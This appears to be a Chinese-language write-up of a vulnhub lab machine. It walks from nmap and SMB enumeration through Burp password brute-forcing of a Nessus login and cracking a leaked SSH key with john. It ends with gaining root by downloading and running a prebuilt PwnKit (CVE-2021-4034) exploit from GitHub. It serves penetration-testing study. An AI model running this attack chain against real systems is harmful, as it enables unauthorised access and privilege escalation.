前言
靶機:digitalworld.local-electrical
,IP地址為192.168.10.12
,后期因為卡頓,重新安裝,ip
地址后面為192.168.10.11
攻擊:kali
,IP地址為192.168.10.6
kali
采用VMware
虛擬機,靶機選擇使用VMware
打開文件,都選擇橋接網絡
這里官方給的有兩種方式,一是直接使用virtualbox
加載,另一種是通過VMware
直接加載,也給出了iso
鏡像文件。
文章中涉及的靶機,來源于
vulnhub
官網,想要下載,可自行訪問官網下載,或者通過網盤下載https://pan.quark.cn/s/86cf8a398835
主機發現
使用arp-scan -l
或netdiscover -r 192.168.10.1/24
掃描
也可以使用nmap
等工具進行
信息收集
使用nmap掃描端口
掃描tcp
端口,并保存于nmap-tcp
nmap -sT 192.168.10.12 --min-rate=1000 -p- -oA nmap-tcp
掃描常見的20個udp
端口,不過這里的端口大部分都是不確定的情況
nmap -sU 192.168.10.12 --top-ports 20 -T4 -oA nmap-udp
把前面掃描出的tcp、udp
端口,進行處理,只取端口號
grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
#這里就是包括可能開放的端口都不要,因為是靶機,可能過濾的話,也會無法進一步掃描
ports=22,80,8080,68,69,138,161,631,1434,1900
對特定的端口號進行深入探測
nmap -sV -O -sC -sT 192.168.10.12 -p $ports -oA detail
使用腳本檢測有無漏洞
nmap --script=vuln 192.168.10.12 -p $ports -oA vuln
SMB探測
使用enum4linux
嘗試進行枚舉,發現兩個分享print$
和IPC$
,并還有兩個用戶govindasamy
和electrical
8834端口探測
這里需要注意,使用瀏覽器訪問時需要加上https
協議
https://192.168.10.12:8834
查看頁面源代碼也沒有信息泄露,那么嘗試識別一下,使用whatweb
測試
再使用瀏覽器插件wappalyzer
識別
嘗試進行目錄爆破,可以使用dirb
或dirsearch
進行測試
dirsearch -u https://192.168.10.12:8834 -x 403,404 -e js,txt,zip,bak,cfm,dbm
發現有api
,訪問之后,發現有很多功能
測試這些api
功能后,基本上都是需要登錄的,無意義
網站密碼爆破
嘗試進行抓取數據包然后爆破,以前面兩個用戶名為測試,我這里是使用burp
的
選擇攻擊點、攻擊模式、以及字典的選擇
這里的默認字典,只有burp pro
版本中有,若使用社區版,可以加載密碼字典,比如加載kali
中的/usr/share/wordlists/fasttrack.txt
字典或rockyou.txt
也行
開始攻擊后,等一會即可發現成功獲取一個,用戶名govindasamy
和弱密碼password
敏感信息泄露
下面的靶機因為重裝,ip地址更改為
192.168.10.11
輸入密碼進行登錄,登錄后發現是nessus
的漏洞掃描的web
界面,之前也搜索過對應版本的nessus
漏洞,發現并沒有可利用的,那么在這個web ui
界面進行探測。
這里建議使用burp
抓取全程的數據包
在測試scan
中的credentialed check
時,點擊其配置configuration
,發現一個文本域,向下居然有內容,并且還是某一個的私鑰,這個可能是靶機上的,也只是可能,需要進一步測試
把這個內容復制并保存在kali
中的一個文件中
并且在配置中,默認的賬戶就是electrical
嘗試進行登錄可以明顯的看到,對私鑰進行了加密操作
chmod 600 id1
ssh electrical@192.168.10.11 -p 22222 -i id1
這里先使用john
進行破解測試
ssh2john id1 > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
可以看到密碼就是用戶名,嘖,之前好像在哪里看到過,好像在burp
抓包的時候與發現ssh
私鑰的同一界面,不過無所謂了
靶機內信息收集
使用ssh
進行登錄
查看local.txt
文件
查看當前靶機內有哪些用戶
ls -al /home
cat /etc/passwd | grep /bin/bash
查看網絡狀態連接
ss -antulp
netstat -antulp
查看ip
地址狀態
ip add
查看系統進程
ps aux | grep root
top
使用find
尋找具有SUID權限的文件
find / -perm -u=s -type f 2>/dev/null
發現有sudo
,但是這里不知道electrical
的密碼,測試后,發現果然需要密碼,所以暫時擱置
查看內核版本及系統版本
uname -a
uname -r
cat /etc/issue
cat /etc/*release
lsb_release
查看定時任務
crontab -l
cat /etc/crontab
atq
注意,下面的腳本上傳,都是我個人
kali
的路徑,所以要自行更改的,并且下面的腳本都是在github
上的項目,可自行去搜索下載。當然為了自己方便,我會放置在自己的網盤中的
通過scp
上傳pspy64
檢測是否有隱藏的任務
#在kali上執行該命令,通過scp傳輸
scp -P 22222 -i ../digital/electrical/id1 pspy64 electrical@192.168.10.11:/tmp
不過在靶機上執行pspy64
后,并未有什么發現
那么再上傳一個腳本linpeas.sh
,用于檢測
#在kali上執行該命令,通過scp傳輸
scp -P 22222 -i ../digital/electrical/id1 linpeas.sh electrical@192.168.10.11:/tmp
檢測后,也是沒有任何收獲,不過還是看到一些東西,如第三方工具gcc
等,并沒有安裝,也就表示無法在靶機內編譯文件,也看到了可能存在的漏洞
提權
之前經過使用find
尋找具有SUID權限文件時,發現有/usr/libexec/polkit-agent-helper-1
和/usr/bin/pkexec
,結合前面的pwnkit
漏洞的發現,也就是CVE-2021-4034
,猜測也許可以利用
通過AI
搜索,以下為內容
CVE-2021-4034(PwnKit)漏洞:
? 主要利用了具有 SUID 權限的
/usr/bin/pkexec
文件來實現提權
pkexec
是 PolicyKit 提供的一個工具,用于以特權用戶(通常是root
)身份執行命令。
PolicyKit
是一個用于在 Linux 系統上管理特權操作的框架,pkexec
本身被設計為一個安全機制,用于在用戶請求執行特權操作時進行權限驗證。然而,CVE - 2021 - 4034 漏洞的存在使得攻擊者可以繞過
pkexec
的權限驗證機制。該漏洞是由于pkexec
在處理環境變量時存在緩沖區溢出漏洞,攻擊者可以構造惡意的環境變量,使得pkexec
在執行過程中出現內存錯誤,從而改變程序的執行流程,最終以root
權限執行任意命令。
下面是github
中的一些poc
,因為這里無法直接在靶機編譯,所以使用編譯好的文件,github
項目地址為https://github.com/ly4k/PwnKit
采用這個編譯好的
首先下載到kali
中,然后通過scp
下載到靶機內
#下載
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit#傳輸
scp -P 22222 -i /id1 PwnKit electrical@192.168.10.11:/tmp
然后在靶機上加上執行權限后直接執行
chmod +x PwnKit
./PwnKit
提權成功,查看/root
目錄下的文件
總結
該靶機的考察如下:
- 對于不存在漏洞的網站,并且需要登錄才能看到內容,而且不支持注冊的網站,或許爆破是最好的手段了,這里的爆破不僅僅包括密碼爆破
- 存在
smb
服務的,都可以枚舉一下用戶,這個會有用處的 - 對于網站中的信息,也就是每一個模塊,最好就是通過
burp
抓取數據包,至少要有歷史記錄,這樣復盤很輕松。且網站中可能存在的隱藏信息,不一定通過頁面源代碼就能看到,建議使用瀏覽器的開發者工具,這里就是通過發現了一個私鑰文件,才有下一步的 ssh
的私鑰文件,對于設置密碼的,可以通過john
套件進行處理,ssh2john
轉換,john
破解- 對于提權,這里借助的是幾個腳本
pspy64、linpeas.sh
發現的,當然還是配合find
尋找到的SUID權限文件結合起來的。 - 考察
pwnkit
提權,也就是cve-2021-4034
,這個可以通過github
下載